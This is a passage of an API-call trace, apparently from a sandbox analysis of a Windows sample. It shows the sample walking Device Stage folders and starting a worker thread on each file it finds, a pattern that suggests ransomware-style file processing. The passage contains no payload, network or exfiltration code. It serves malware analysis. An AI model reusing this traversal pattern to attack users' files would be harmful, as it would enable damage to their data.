ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0077.803] wcscmp (_String1="print_queue.ico", _String2=".") returned 1 [0077.803] wcscmp (_String1="print_queue.ico", _String2="..") returned 1 [0077.803] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0077.803] wcscmp (_String1="scan_.ico", _String2=".") returned 1 [0077.803] wcscmp (_String1="scan_.ico", _String2="..") returned 1 [0077.804] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0077.804] wcscmp (_String1="scan_property.ico", _String2=".") returned 1 [0077.804] wcscmp (_String1="scan_property.ico", _String2="..") returned 1 [0077.804] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0077.804] wcscmp (_String1="scan_settings.ico", _String2=".") returned 1 [0077.804] wcscmp (_String1="scan_settings.ico", _String2="..") returned 1 [0077.804] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0077.804] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0077.804] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0077.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34323c0 [0077.804] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0077.804] wcscat (in: _Dest=0x34323c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0077.804] wcscat (in: _Dest=0x34323c0, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" [0077.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34323c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0077.805] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0077.805] FindClose (in: hFindFile=0x3433fa8 | out: hFindFile=0x3433fa8) returned 1 [0077.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee770) returned 1 [0077.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34294a0) returned 1 [0077.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34296c8) returned 1 [0077.806] RtlExitUserThread (Status=0x0) Thread: id = 656 os_tid = 0xe60 [0074.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34308c0 [0074.632] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0074.632] wcscat (in: _Dest=0x34308c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0074.632] wcscat (in: _Dest=0x34308c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" [0074.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee9d8 [0074.632] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338a8 [0074.634] wcscmp (_String1=".", _String2=".") returned 0 [0074.634] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.634] wcscmp (_String1="..", _String2=".") returned 1 [0074.634] wcscmp (_String1="..", _String2="..") returned 0 [0074.634] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0074.634] wcscmp (_String1="background.png", _String2=".") returned 1 [0074.634] wcscmp (_String1="background.png", _String2="..") returned 1 [0074.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xce) returned 0x3476a18 [0074.634] wcscpy (in: _Dest=0x3476a18, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0074.634] wcscat (in: _Dest=0x3476a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0074.634] wcscat (in: _Dest=0x3476a18, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0076.625] Sleep (dwMilliseconds=0x1) [0077.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0077.796] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0077.796] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0077.796] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0077.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475e48 [0077.796] wcscpy (in: _Dest=0x3475e48, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0077.796] wcscat (in: _Dest=0x3475e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0077.796] wcscat (in: _Dest=0x3475e48, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" [0077.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0077.798] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0077.798] wcscmp (_String1="device.png", _String2=".") returned 1 [0077.798] wcscmp (_String1="device.png", _String2="..") returned 1 [0077.798] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7d68 [0077.798] wcscpy (in: _Dest=0x33f7d68, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0077.798] wcscat (in: _Dest=0x33f7d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0077.798] wcscat (in: _Dest=0x33f7d68, _Source="device.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0077.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0077.799] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0077.799] wcscmp (_String1="overlay.png", _String2=".") returned 1 [0077.799] wcscmp (_String1="overlay.png", _String2="..") returned 1 [0077.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f80a8 [0077.799] wcscpy (in: _Dest=0x33f80a8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0077.799] wcscat (in: _Dest=0x33f80a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0077.799] wcscat (in: _Dest=0x33f80a8, _Source="overlay.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0077.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0077.800] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0077.800] wcscmp (_String1="superbar.png", _String2=".") returned 1 [0077.800] wcscmp (_String1="superbar.png", _String2="..") returned 1 [0077.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475f20 [0077.800] wcscpy (in: _Dest=0x3475f20, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0077.800] wcscat (in: _Dest=0x3475f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0077.800] wcscat (in: _Dest=0x3475f20, _Source="superbar.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0077.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0077.801] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0077.801] FindClose (in: hFindFile=0x34338a8 | out: hFindFile=0x34338a8) returned 1 [0077.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee9d8) returned 1 [0077.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0077.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0077.802] RtlExitUserThread (Status=0x0) Thread: id = 657 os_tid = 0xda8 [0074.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430980 [0074.636] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0074.636] wcscat (in: _Dest=0x3430980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0074.636] wcscat (in: _Dest=0x3430980, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" [0074.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eec40 [0074.636] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338e8 [0074.636] wcscmp (_String1=".", _String2=".") returned 0 [0074.636] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.636] wcscmp (_String1="..", _String2=".") returned 1 [0074.636] wcscmp (_String1="..", _String2="..") returned 0 [0074.636] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0074.636] wcscmp (_String1="background.png", _String2=".") returned 1 [0074.636] wcscmp (_String1="background.png", _String2="..") returned 1 [0074.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xce) returned 0x3476af0 [0074.636] wcscpy (in: _Dest=0x3476af0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0074.636] wcscat (in: _Dest=0x3476af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0074.636] wcscat (in: _Dest=0x3476af0, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0076.625] Sleep (dwMilliseconds=0x1) [0077.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0077.792] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0077.792] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0077.793] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0077.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475c98 [0077.793] wcscpy (in: _Dest=0x3475c98, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0077.793] wcscat (in: _Dest=0x3475c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0077.793] wcscat (in: _Dest=0x3475c98, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" [0077.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0077.793] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0077.793] wcscmp (_String1="watermark.png", _String2=".") returned 1 [0077.793] wcscmp (_String1="watermark.png", _String2="..") returned 1 [0077.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475d70 [0077.794] wcscpy (in: _Dest=0x3475d70, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0077.794] wcscat (in: 